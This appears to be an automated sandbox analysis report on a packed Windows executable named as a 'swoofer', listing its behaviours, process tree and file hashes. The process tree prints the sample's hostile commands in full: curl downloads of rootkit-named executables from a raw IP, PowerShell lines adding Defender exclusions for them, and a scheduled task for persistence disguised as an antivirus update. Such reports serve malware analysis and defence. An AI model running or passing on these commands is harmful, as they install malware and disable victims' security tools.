Analysis

  • max time kernel
    91s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-06-2024 21:07

General

  • Target

    Bald.Win_New_Temp_Swoofer.exe

  • Size

    4.6MB

  • MD5

    76761b94d0187562e9acc8feb0d36111

  • SHA1

    40d118971e1c9e1e96264b23772ba0ec5e159a0c

  • SHA256

    d02f513e1673e5012e916fad43e0672ee0ff9cdfbc0733401b9b8fd4bd88d1f3

  • SHA512

    d48731994aae2c6f7b86edf22f843913568ade13e482154b71798c7b37b62e617c0f6960b3c9ba8db5c70d173ff0ef864f9c2467d7db6fb5d617a88a301c1423

  • SSDEEP

    98304:L/hllE2G7C2b9cH1UWzfW4Npy2K176ylIqdF8J8mK98wbRNVGllXLTPhCPzH00pE:LxlCcH1BSBvrltsY9jDqXLVaL7u

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Themida packer 12 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 16 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3900
  • C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4220
      • C:\Windows\system32\certutil.exe
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Bald.Win_New_Temp_Swoofer.exe" MD5
        3⤵
          PID:432
        • C:\Windows\system32\find.exe
          find /i /v "md5"
          3⤵
            PID:2124
          • C:\Windows\system32\find.exe
            find /i /v "certutil"
            3⤵
              PID:2400
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c start https://feds.lol/udman
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4800
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://feds.lol/udman
              3⤵
              • Enumerates system info in registry
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:5064
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb1ae346f8,0x7ffb1ae34708,0x7ffb1ae34718
                4⤵
                  PID:3044
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
                  4⤵
                    PID:1700
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3132
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
                    4⤵
                      PID:4796
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
                      4⤵
                        PID:1532
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:1
                        4⤵
                          PID:4936
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4744 /prefetch:1
                          4⤵
                            PID:1388
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.MediaFoundationService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=mf_cdm --mojo-platform-channel-handle=5312 /prefetch:8
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3880
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.CdmService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=cdm --mojo-platform-channel-handle=5456 /prefetch:8
                            4⤵
                              PID:5076
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
                              4⤵
                                PID:1928
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:1
                                4⤵
                                  PID:5008
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6220 /prefetch:8
                                  4⤵
                                    PID:1036
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6220 /prefetch:8
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3628
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:1
                                    4⤵
                                      PID:2724
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15061591709164076716,3321785011789413496,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
                                      4⤵
                                        PID:2776
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe
                                    2⤵
                                      PID:1268
                                      • C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe
                                        C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe
                                        3⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        PID:3440
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                                          4⤵
                                            PID:3652
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                                              5⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:868
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c schtasks /create /sc onlogon /tn "av-update.sys" /tr "C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe" /rl HIGHEST /f >nul
                                            4⤵
                                              PID:4264
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /create /sc onlogon /tn "av-update.sys" /tr "C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe" /rl HIGHEST /f
                                                5⤵
                                                • Creates scheduled task(s)
                                                PID:3900
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/hackeroopsecstubblucky/raw"
                                              4⤵
                                                PID:5008
                                                • C:\Windows\system32\curl.exe
                                                  curl -s "https://rentry.co/hackeroopsecstubblucky/raw"
                                                  5⤵
                                                    PID:3968
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/rootkitinstalllinklol/raw"
                                                  4⤵
                                                    PID:4860
                                                    • C:\Windows\system32\curl.exe
                                                      curl -s "https://rentry.co/rootkitinstalllinklol/raw"
                                                      5⤵
                                                        PID:1696
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c curl -s "https://rentry.co/rootkituninstalllinklol/raw"
                                                      4⤵
                                                        PID:2516
                                                        • C:\Windows\system32\curl.exe
                                                          curl -s "https://rentry.co/rootkituninstalllinklol/raw"
                                                          5⤵
                                                            PID:3612
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                                                          4⤵
                                                            PID:4980
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                                                              5⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3320
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /C powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\1293595570-1184187166-19345719-1262499522.tmp'; Add-MpPreference -ExclusionPath $filePath"
                                                            4⤵
                                                              PID:1664
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\1293595570-1184187166-19345719-1262499522.tmp'; Add-MpPreference -ExclusionPath $filePath"
                                                                5⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:3376
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/UninstallRootkit.exe -o C:\Users\Admin\AppData\Local\Temp\1293595570-1184187166-19345719-1262499522.tmp --silent
                                                              4⤵
                                                                PID:1896
                                                                • C:\Windows\system32\curl.exe
                                                                  curl http://104.254.246.35/files/UninstallRootkit.exe -o C:\Users\Admin\AppData\Local\Temp\1293595570-1184187166-19345719-1262499522.tmp --silent
                                                                  5⤵
                                                                    PID:2128
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1326024883-1298627399-26999705-1286788431.tmp'; Add-MpPreference -ExclusionPath $filePath"
                                                                  4⤵
                                                                    PID:2400
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -Command "$filePath = 'C:\Users\Admin\AppData\Local\Temp\$77-1326024883-1298627399-26999705-1286788431.tmp'; Add-MpPreference -ExclusionPath $filePath"
                                                                      5⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:1408
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/Lucky.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1326024883-1298627399-26999705-1286788431.tmp --silent
                                                                    4⤵
                                                                      PID:4888
                                                                      • C:\Windows\system32\curl.exe
                                                                        curl http://104.254.246.35/files/Lucky.exe -o C:\Users\Admin\AppData\Local\Temp\$77-1326024883-1298627399-26999705-1286788431.tmp --silent
                                                                        5⤵
                                                                          PID:5088
                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                  1⤵
                                                                    PID:3376
                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                    1⤵
                                                                      PID:4428

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      d85ba6ff808d9e5444a4b369f5bc2730

                                                                      SHA1

                                                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                      SHA256

                                                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                      SHA512

                                                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                      Filesize

                                                                      152B

                                                                      MD5

                                                                      c39b3aa574c0c938c80eb263bb450311

                                                                      SHA1

                                                                      f4d11275b63f4f906be7a55ec6ca050c62c18c88

                                                                      SHA256

                                                                      66f8d413a30451055d4b6fa40e007197a4bb93a66a28ca4112967ec417ffab6c

                                                                      SHA512

                                                                      eeca2e21cd4d66835beb9812e26344c8695584253af397b06f378536ca797c3906a670ed239631729c96ebb93acfb16327cf58d517e83fb8923881c5fdb6d232

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                      Filesize

                                                                      152B

                                                                      MD5

                                                                      dabfafd78687947a9de64dd5b776d25f

                                                                      SHA1

                                                                      16084c74980dbad713f9d332091985808b436dea

                                                                      SHA256

                                                                      c7658f407cbe799282ef202e78319e489ed4e48e23f6d056b505bc0d73e34201

                                                                      SHA512

                                                                      dae1de5245cd9b72117c430250aa2029eb8df1b85dc414ac50152d8eba4d100bcf0320ac18446f865dc96949f8b06a5b9e7a0c84f9c1b0eada318e80f99f9d2b

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                      Filesize

                                                                      864B

                                                                      MD5

                                                                      850365b10ae1444722103e93930a1fc6

                                                                      SHA1

                                                                      e1afb861734c621c1bbd5805cf742621c38a82f5

                                                                      SHA256

                                                                      95ecc788f1ee6590bb0c4a0d673041c46b8f3d23c658a5c4695d684cbd6fa838

                                                                      SHA512

                                                                      79d1e00eb85cd3a03bbe72f59ca93ab21a798267d6ea068e1e35c653c0a065ee3f6ab84874234391aaad7128f7f4adf31c49a49ab8764423f0ea21c3f0e42379

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                                      Filesize

                                                                      1KB

                                                                      MD5

                                                                      ef3115e3872c272a1feffffa7fbca4ea

                                                                      SHA1

                                                                      a525d74b8022f9098a3be376515fffaee6176aa2

                                                                      SHA256

                                                                      c0e621f8daec19f8ff756fd66756b77503bcae7b33c6942ce4cba9c7bbc61bec

                                                                      SHA512

                                                                      e4bb9ac70fd47e94edc5e07403e93da9a50d14b46b187dee4f04df9be2feae9ce34d2f206a04d1b52103309f14eef31b37da3d7995aa51f48c4910de1e9bb89b

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                      Filesize

                                                                      6KB

                                                                      MD5

                                                                      a1513830cf942872ad499d3d41afbe5b

                                                                      SHA1

                                                                      4b919de6c1038f60f64a7c6a5583e8fb43c838e4

                                                                      SHA256

                                                                      d0e92e99c7765c71cbb70ddb92e0b55c140b7268c5d5ed0b80f0ebe1e4922f53

                                                                      SHA512

                                                                      68132259212a7539a7d45b95d07baebb23290e09a736c7e8105ca0a340b813f8e92b03285ef0a074fe9a9cb379cb26e703014509f7b758f73da7cf15cb9a93f9

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                      Filesize

                                                                      6KB

                                                                      MD5

                                                                      6adecc0433edd6bc8973a5d3692f943b

                                                                      SHA1

                                                                      21f12ae6b797d664ff7c77fdf93f68d15438892e

                                                                      SHA256

                                                                      be02748178cfb0ff50f9352c91518623d7777774ae3f522d222d623444dfb3f3

                                                                      SHA512

                                                                      a83e2126c43a39c904fdb1d2ccca97237b42124063e2b85ff01b09275b6ba2bf9b871175afb9aeddae483bf8fd2fbcf08475838708c1740d265bd5ae47561e45

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                      Filesize

                                                                      6KB

                                                                      MD5

                                                                      2dd00873e949fee7cff01c6acb39ca29

                                                                      SHA1

                                                                      cb6439669c51b5d6e95360d320b1f0d0714cf54b

                                                                      SHA256

                                                                      e9a57f59624a5d7c1c992f52469773329f8fca50d3973e77c3ab45cf29772e51

                                                                      SHA512

                                                                      9d29d019dbb6cdbcfdcf8f6947ef550d3b1c4a940e3651a243587567f42862e4398db8a0dfd787730641e9a5e3ada0e1c1bc9f2f81e27f1a19dfc4e84b015eb7

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                                      Filesize

                                                                      16B

                                                                      MD5

                                                                      6752a1d65b201c13b62ea44016eb221f

                                                                      SHA1

                                                                      58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                      SHA256

                                                                      0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                      SHA512

                                                                      9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                      Filesize

                                                                      11KB

                                                                      MD5

                                                                      2739ce09e07758f34ade0598ee27ce1d

                                                                      SHA1

                                                                      a336309adff3c15824be99bc059978dcc9cd370c

                                                                      SHA256

                                                                      47504e43997db55ac957a99327fc617b970411f1372fc2b755464d9ad99a00bd

                                                                      SHA512

                                                                      45b40f5b7de58f81a998d001c256a50ce15dd62d42ba332a78745bffed103ac29aa321abba60dd0147b14df73fb94f79e1b0ad66a069a0dbe77191df9246d587

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                      Filesize

                                                                      11KB

                                                                      MD5

                                                                      4d9874d19334dc5eb2145ab58f25732d

                                                                      SHA1

                                                                      8c58db56b443d2935bf7ef61b4165a0df3b92a85

                                                                      SHA256

                                                                      e5d93e3d404ec7c191ca4d3d88ed9ffcc82e60f2d8afdec1e4fbffc9d62553f7

                                                                      SHA512

                                                                      2c09a70bac3d5691f480917b35d36734917e5cc38b5c403eef067a09bddd4da8780847b24401879aa7098ab3e2d104183ca6166c1e193c8781864fbe6ada7472

                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                      Filesize

                                                                      944B

                                                                      MD5

                                                                      2979eabc783eaca50de7be23dd4eafcf

                                                                      SHA1

                                                                      d709ce5f3a06b7958a67e20870bfd95b83cad2ea

                                                                      SHA256

                                                                      006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

                                                                      SHA512

                                                                      92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

                                                                    • C:\Users\Admin\AppData\Local\Temp\1293595570-1184187166-19345719-1262499522.tmp
                                                                      Filesize

                                                                      146B

                                                                      MD5

                                                                      8eec510e57f5f732fd2cce73df7b73ef

                                                                      SHA1

                                                                      3c0af39ecb3753c5fee3b53d063c7286019eac3b

                                                                      SHA256

                                                                      55f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0

                                                                      SHA512

                                                                      73bbf698482132b5fd60a0b58926fddec9055f8095a53bc52714e211e9340c3419736ceafd6b279667810114d306bfccdcfcddf51c0b67fe9e3c73c54583e574

                                                                    • C:\Users\Admin\AppData\Local\Temp\1321192314-1141701036-55274516-1394016520.exe
                                                                      Filesize

                                                                      51KB

                                                                      MD5

                                                                      b7802d686f7c65282cd7b6a45142a98b

                                                                      SHA1

                                                                      feb041fef423f8404d2ef046b21c506e60cac3b7

                                                                      SHA256

                                                                      e19f99f3434059e5fc38f3dcf1c89387309af2966b90b0a24f0fa22bdc393dcd

                                                                      SHA512

                                                                      463d1ce3edec83623df093f7b4a13e430cad4ecc3aaeff20d660d4a7c30929583aacba51d06706623e37b3051f8447ab644bcd45ee89c0fbb591fd1729dcc6ce

                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s5u34da.nhl.ps1
                                                                      Filesize

                                                                      60B

                                                                      MD5

                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                      SHA1

                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                      SHA256

                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                      SHA512

                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                    • \??\pipe\LOCAL\crashpad_5064_UZPLZCCYSPGNUCNK
                                                                      MD5

                                                                      d41d8cd98f00b204e9800998ecf8427e

                                                                      SHA1

                                                                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                      SHA256

                                                                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                      SHA512

                                                                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                    • memory/3376-138-0x00000230B7590000-0x00000230B75B2000-memory.dmp
                                                                      Filesize

                                                                      136KB

                                                                    • memory/3900-14-0x00000236398F0000-0x00000236398F9000-memory.dmp
                                                                      Filesize

                                                                      36KB

                                                                    • memory/3900-11-0x00000236398F0000-0x00000236398F9000-memory.dmp
                                                                      Filesize

                                                                      36KB

                                                                    • memory/3900-12-0x0000023639910000-0x0000023639911000-memory.dmp
                                                                      Filesize

                                                                      4KB

                                                                    • memory/4260-30-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-63-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-0-0x00007FF66ECC0000-0x00007FF66F9BB000-memory.dmp
                                                                      Filesize

                                                                      13.0MB

                                                                    • memory/4260-31-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-32-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-33-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-34-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-35-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-36-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-37-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-38-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-39-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-40-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-41-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-42-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

                                                                    • memory/4260-43-0x00007FFB38B70000-0x00007FFB38D65000-memory.dmp
                                                                      Filesize

                                                                      2.0MB

